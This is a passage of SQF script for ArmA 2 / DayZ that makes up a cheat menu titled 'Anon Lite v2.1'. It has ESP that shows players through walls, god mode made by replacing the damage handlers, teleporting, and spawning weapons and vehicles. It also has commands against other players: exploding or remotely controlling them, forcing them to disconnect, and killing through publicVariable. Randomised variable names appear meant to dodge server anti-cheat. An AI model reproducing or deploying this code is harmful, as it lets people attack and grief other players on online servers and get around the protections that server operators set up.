parsetext "<t color=""#FF0000"">/box <t/><t color=""#580000 "">- Spawns a box full of every gun/item<t/>",
parsetext "<t color=""#FF0000"">/control [player] <t/><t color=""#580000 "">- Allows you to Control the target<t/>",
parsetext "<t color=""#FF0000"">/leave <t/><t color=""#580000 "">- Forces the player to disconnect<t/>",
parsetext "<t color=""#FF0000"">/mouseclip <t/><t color=""#580000 "">- use mousewheel to noclip around<t/>",
parsetext "<t color=""#FF0000"">/explo <t/><t color=""#580000 "">- Explodes Cursortarget\what you are looking at<t/>",
parsetext "<t color=""#FF0000"">/explo [player] <t/><t color=""#580000 "">- explodes target player<t/>",
parsetext "<t color=""#FF0000"">/close <t/><t color=""#580000 "">- closes whatever dialog you have open<t/>",
parsetext "<t color=""#FF0000"">/back <t/><t color=""#580000 "">- returns you to your body (remote control/spectate)<t/>",
parsetext "<t color=""#FF0000"">/markers <t/><t color=""#580000 "">- '+_rand53+' map markers<t/>",
parsetext "<t color=""#FF0000"">/zshield [radius] <t/><t color=""#580000 "">- toggle zombie sheild<t/>",
parsetext "<t color=""#FF0000"">/eject [player] <t/><t color=""#580000 "">- Ejects the player<t/>",
parsetext "<t color=""#FF0000"">/join [player] <t/><t color=""#580000 "">- Gets in targets vehicle<t/>",
parsetext "<t color=""#FF0000"">**[ Do /help 3 for the next page ]**<t/>"
];
};
if (_first in _help) then
{
"Anon lite Help Page 1" hintC
[
parsetext "<t color=""#FF0000"">/help [page] <t/><t color=""#580000 "">- Brings up the help menu<t/>",
parsetext "<t color=""#FF0000"">/spawnweapon [weapon] <t/><t color=""#580000 "">- Spawns the weapon<t/>",
parsetext "<t color=""#FF0000"">/item [item] [quantity] <t/><t color=""#580000 "">- Spawns the item<t/>",
parsetext "<t color=""#FF0000"">/tp <t/><t color=""#580000 "">- Opens up the map, click to teleport<t/>",
parsetext "<t color=""#FF0000"">/spawn local [vehicle classname] <t/><t color=""#580000 "">- spawns local vehicle<t/>",
parsetext "<t color=""#FF0000"">/spawn [vehicle classname] <t/><t color=""#580000 "">- attemps to spawn global vehicle<t/>",
parsetext "<t color=""#FF0000"">/delete <t/><t color=""#580000 "">- Deletes what you are looking at<t/>",
parsetext "<t color=""#FF0000"">/god <t/><t color=""#580000 "">- Makes you god<t/>",
parsetext "<t color=""#FF0000"">/search vehicle <t/><t color=""#580000 "">- Searches all vehicles for possible class name<t/>",
parsetext "<t color=""#FF0000"">/search weapon <t/><t color=""#580000 "">- Searches all vehicles for possible class name<t/>",
parsetext "<t color=""#FF0000"">/commands <t/><t color=""#580000 "">- Shows all commands and thier aliases.<t/>",
parsetext "<t color=""#FF0000"">/tpto [player] <t/><t color=""#580000 "">- Teleports to player.<t/>",
parsetext "<t color=""#FF0000"">/nograss <t/><t color=""#580000 "">- Turns off Grass<t/>",
parsetext "<t color=""#FF0000"">**[ Do /help 2 for the next page ]**<t/>"
];
};
if (_first in _esp1) then
{
if (isNil "'+_rand30+'") then
{
'+_rand30+' = 0;
'+_rand31+' =
{
disableSerialization;
if (isNil "'+_rand32+'") then {'+_rand32+' = 2733;};
'+_rand32+' cutRsc ["rscDynamicText", "PLAIN"];
'+_rand32+' = '+_rand32+' + 1;
_ctrl = ((uiNamespace getvariable "BIS_dynamicText") displayctrl 9999);
_ctrl ctrlShow true; _ctrl ctrlEnable true; _ctrl ctrlSetFade 0;
_unit = _this select 0;
while {(alive _unit) && ((player distance _unit) < 1200) && ('+_rand30+' == 1)} do
{
if ((player distance _unit) > 300) then
{
_pos = [(getPosATL _unit) select 0, (getPosATL _unit) select 1, ((getPosATL _unit) select 2) + 2];
_pos2D = worldToScreen _pos;
if (count _pos2D > 0) then
{
_ctrl ctrlSetPosition [(_pos2D select 0) - (safezoneW / 2), (_pos2D select 1), safezoneW, safezoneH];
_selectedItemDescription = format ["<t size=""0.25"" color=""#FFFFFF""> (m)</t>", name _unit, round (player distance _unit)];
_descriptionControl = _ctrl;
_descriptionControl ctrlSetStructuredText parseText(_selectedItemDescription);
_ctrl ctrlCommit 0;
};
}
else
{
_pos = [(getPosATL _unit) select 0, (getPosATL _unit) select 1, ((getPosATL _unit) select 2) + 2];
_pos2D = worldToScreen _pos;
if (count _pos2D > 0) then
{
_ctrl ctrlSetPosition [(_pos2D select 0) - (safezoneW / 2), (_pos2D select 1), safezoneW, safezoneH];
_selectedItemDescription = format ["<t size=""0.35"" color=""#FF0000""> (m)</t>", name _unit, round (player distance _unit)];
_descriptionControl = _ctrl;
_descriptionControl ctrlSetStructuredText parseText(_selectedItemDescription);
_ctrl ctrlCommit 0;
};
};
sleep 0.01;
};
_ctrl ctrlShow false;
_ctrl ctrlEnable false;
};
};
if ('+_rand30+' == 0) then
{
'+_rand30+' = 1;
["ESP Enabled"] spawn '+_hintcode+';
["ESP",true] spawn '+_rand6+';
_a = [];
while {'+_rand30+' == 1} do
{
_count = count ((position player) nearEntities [["CAManBase"], 1200]);
{
_unit = _x;
_victimUID = getPlayerUID _unit;
if (((_x in _a) && !(alive _x)) or ((_x in _a) && ((player distance _x) > 1200))) then {_a = _a - [_x];};
if ((_x != player) && (_victimUID != "") && (name _x != "") && !(_x in _a) && ((player distance _x) < 1200)) then
{
_a = _a + [_x];
[_x] spawn '+_rand31+';
sleep 1;
};
} forEach ([6800, 9200, 0] nearEntities [["AllVehicles"], 11000]);;
waitUntil {_count != count ((position player) nearEntities [["CAManBase"], 1200])};
};
}
else
{
'+_rand30+' = 0;
["ESP Disabled"] spawn '+_hintcode+';
["ESP",false] spawn '+_rand6+';
};
};
if ((_first in _god) and (_second == "")) then
{
[] spawn
{
if (isNil "'+_rand18+'") then {'+_rand18+' = 0;};
if ('+_rand18+' == 0) then
{
["God",true] spawn '+_rand6+';
'+_rand18+' = 1;
_pvehmed =
{
while {('+_rand18+' == 1)} do
{
player_zombieCheck = {};
fnc_usec_damageHandler = {};
fnc_usec_unconscious = {};
sleep 6;
};
};
_gdmde =
{
while {('+_rand18+' == 1)} do
{
_object = player;
_object allowDamage false;
sleep 0.01;
};
};
[] spawn _pvehmed;
[] spawn _gdmde;
["God Enabled"] spawn '+_hintcode+';
}
else
{
["God",false] spawn '+_rand6+';
player_zombieCheck = compile preprocessFileLineNumbers "\z\addons\dayz_code\compile\player_zombieCheck.sqf";
fnc_usec_damageHandler = compile preprocessFileLineNumbers "\z\addons\dayz_code\compile\fn_damageHandler.sqf";
fnc_usec_unconscious = compile preprocessFileLineNumbers "\z\addons\dayz_code\compile\fn_unconscious.sqf";
player allowDamage true;
'+_rand18+' = 0;
["God Disabled"] spawn '+_hintcode+';
};
};
};
if (_first in _kill) then
{
r_player_blood = 0;
publicVariable "r_player_blood";
["killing"] spawn '+_hintcode+';
};
if (_first in _delete) then
{
[("deleted "+str(cursortarget))] spawn '+_hintcode+';
deletevehicle cursortarget;
};
if (_first in _wpn) then
{
_isBanned = ["GAU8","2A14","2A38M","2A42","2A46M","2A46MROCKET","2A70","2A70ROCKET","2A72","2B14","57MMLAUNCHER","57MMLAUNCHER_128",
"57MMLAUNCHER_64","80MMLAUNCHER","9M311LAUCHER","AALAUNCHER_TWICE","AGS17","AGS30","AGS30_HELI","AIRBOMBLAUNCHER",
"AT10LAUNCHERSINGLE","AT11LAUNCHERSINGLE","AT13LAUNCHERSINGLE","AT2LAUNCHER","AT5LAUNCHER","AT5LAUNCHERSINGLE","AT6LAUNCHER",
"AT9LAUNCHER","AZP85","BAF_GMG","BAF_L2A1","BAF_L7A2","BAF_L94A1","BAF_STATIC_GMG","BIKEHORN","BOMBLAUNCHER","BOMBLAUNCHERA10",
"BOMBLAUNCHERF35","CAMELGRENADES","CARHORN","CH29LAUNCHER","CH29LAUNCHER_SU34","CMFLARELAUNCHER","CRV7_FAT","CRV7_HEPD","CRV7_PG","CTWS",
"D10","D30","D81","DSHKM","DT_VEH","FFARLAUNCHER","FFARLAUNCHER_14","FLARELAUNCHER","GAU12","GRAD","GSH23L","GSH23L_L39","GSH301","GSH302",
"HELIBOMBLAUNCHER","HELLFIRELAUNCHER","HELLFIRELAUNCHER_AH6","IGLA_TWICE","KORD","KPVT","LASERDESIGNATOR_MOUNTED","M119","M120","M134","M134_2",
"M168","M197","M2","M230","M240_VEH","M240_VEH_2","M240_VEH_MG_NEST","M240BC_VEH","M242","M242BC","M252","M256","M2BC","M32_HELI","M3P","M621",
"M68","MAVERICKLAUNCHER","MINICARHORN","MK19","MK19BC","MK82BOMBLAUNCHER","MK82BOMBLAUNCHER_6","MLRS","PKT","PKT_2","PKT_3","PKT_HIGH_AI_DISPERSION",
"PKT_HIGH_AI_DISPERSION_TANK","PKT_MG_NEST","PKT_VEH","PKTBC","PKTBC_VEH","R73LAUNCHER","R73LAUNCHER_2","S8LAUNCHER","SEARCHLIGHT","SGMT",
"SIDEWINDERLAUCHER","SIDEWINDERLAUCHER_AH1Z","SIDEWINDERLAUCHER_AH64","SIDEWINDERLAUCHER_F35","SMOKELAUNCHER","SPG9","SPORTCARHORN","STINGERLAUCHER",
"STINGERLAUCHER_4X","STINGERLAUNCHER_TWICE","TOWLAUNCHER","TOWLAUNCHERSINGLE","TRUCKHORN","TRUCKHORN2","TWINM134","TWINVICKERS","VIKHRLAUNCHER","YAKB",
"ZIS_S_53"];
if (toUpper(_second) in _isBanned) then {["ERROR: BANNED WEAPON"] spawn '+_hintcode+';} else
{
if (_third == "") then
{
[_second,false,0] spawn '+_rand47+';
}
else
{
[_second,true,_third] spawn '+_rand47+';
};
};
};
if (_first in _tp) then
{
[] spawn '+_rand38+';
_code = "openmap [true,true];onMapSingleClick ""_setPos = _pos;(vehicle player) setPosATL _setPos;openmap [false,false];onMapSingleClick """""""";"";";
call compile _code;
};
if ((_first in _veh) and !(_second == "local") and !(_third == "true")) then
{
["WARNING: This may kick.<br/>type true at the end of the command to continue.<br/>/spawn [classname] true"] spawn '+_hintcode+';
};
if ((_first in _veh) and (_third == "true")) then
{
[_second] spawn '+_rand48+';
};
if ((_first in _veh) and (_second == "local")) then
{
_type = _third;
_position = player modelToWorld [0,6,0];
_code = "_object = _type createVehicleLocal _position;";
call compile _code;
};
sleep 0.01;
'+_rand9+' = false;
}
else
{
player globalchat "Unknown Command.";
titleText ["Unknown command","PLAIN DOWN"]; titlefadeout 2;
};
};
'+_rand38+' =
{
if (isNil "'+_rand29+'") then
{
'+_rand29+' = true;
_tempTime = time;
time = "asdasggd";
sleep 3;
[_tempTime] spawn
{
_tempTime = (_this select 0) + 3;
while {true} do
{
time = _tempTime;
_tempTime = _tempTime + 1;
sleep 1;
};
};
};
};
'+_rand24+' =
{
if (isNil "'+_rand45+'") then {'+_rand45+' = false;};
if (isNil "'+_rand46+'") then {'+_rand46+' = false;};
if ('+_rand25+') then {'+_rand25+' = false;
if ('+_rand39+') then {'+_rand39+' = false; hint "Input Detected: Hack Enabled"; ["<t size =""0.8"" font = ""Zeppelin33"" color=""#CC0000"" allign=""center""></t>", (safezoneX + 0.6)/2,-(safezoneH-2.2)/2,2,0,0,3313] spawn bis_fnc_dynamicText;};
_command = _this select 0;
_array = toArray _command;
if ((_array select 0 == 47) or ('+_rand45+') or ('+_rand46+')) then
{
_array = toArray _command;
_array2 = [];
_array3 = [];
_array4 = [];
_array5 = [];
_cheddaBiskit = false;
_mashedpotater = false;
_cheeseSauws = false;
for "_i" from 0 to ((count _array) - 1) do
{
if ((_array select _i) == 32) then {_cheddaBiskit = true;};
if (_cheddaBiskit) then
{
if (_mashedpotater) then
{
if (_cheeseSauws) then {
_array5 = _array5 + [_array select _i];
}
else
{
_array4 = _array4 + [_array select _i];
};
if ((_array select _i+1) == 32) then {_cheeseSauws = true;};
}
else
{
_array2 = _array2 + [_array select (_i + 1)];
};
if ((_array select _i+1) == 32) then {_mashedpotater = true;};
}
else
{
_array3 = _array3 + [_array select _i];
};
};
{if (_x == 32) then {_array2 = _array2 - [_x];};} forEach _array2;
{if (_x == 32) then {_array3 = _array3 - [_x];};} forEach _array3;
{if (_x == 32) then {_array4 = _array4 - [_x];};} forEach _array4;
{if (_x == 32) then {_array5 = _array5 - [_x];};} forEach _array5;
_first_term = toString (_array3);
_second_term = toString (_array2);
_third_term = toString (_array4);
_fourth_term = toString (_array5);
if !(_first_term in ["/r","/l","/last","/recent"]) then
{
'+_rand54+' = [_first_term,_second_term,_third_term,_fourth_term,(_this select 0)];
[_first_term,_second_term,_third_term,_fourth_term,(_this select 0)] spawn '+_rand8+';
}
else
{
'+_rand54+' spawn '+_rand8+';
};
};};
};
'+_rand26+' =
{
_notInUse =
{
titleText ["Anon Lite\nv2.1\nHack Loaded!","PLAIN DOWN"];
sleep 1;
player globalChat " > Client: Menu Loaded ";
player globalChat " > Client: Type /help for a list of commands!";
};
["<t size =""0.8"" font = ""Zeppelin33"" color=""#CC0000"" allign=""center"">Type a command in chat and hit left shift to send!<br/><br/>Type /help for help<br/><br/>||[ Anon Lite v2 Init ] ||</t>", (safezoneX + 0.6)/2,-(safezoneH-2.2)/2,999999,0,0,3313] spawn bis_fnc_dynamicText;
};
[] spawn '+_rand26+';
if !(isNil "'+_rand3+'") then {(findDisplay 24) displayRemoveEventhandler ["KeyUp", '+_rand3+'];};
while {true} do
{
waitUntil {!isNull (finddisplay 24)};
disableSerialization;
_ctrl = ((findDisplay 24) displayCtrl 101);
if (isNil "'+_rand55+'") then {'+_rand55+' = true;};
if ('+_rand55+') then {_ctrl ctrlSetText "'+_rcmd+'";};
if !(isNil "'+_rand3+'") then {(findDisplay 24) displayRemoveEventhandler ["KeyUp", '+_rand3+'];};
'+_rand3+' = (findDisplay 24) displayAddeventhandler ["KeyUp", "
if (_this select 1 == 0x2A) then
{
'+_rand25+' = true;
_ctrl = ((findDisplay 24) displayCtrl 101);
_text = ctrlText _ctrl;
[_text] call '+_rand50+';
(findDisplay 24) closeDisplay 0;
};"];
waitUntil {isNull (finddisplay 24)};
};
};
};
if (isNil "'+_rand39+'") then
{
call '+_rand1+';
'+_rand39+' = true;
};
');};
};
[] spawn _cmdrun;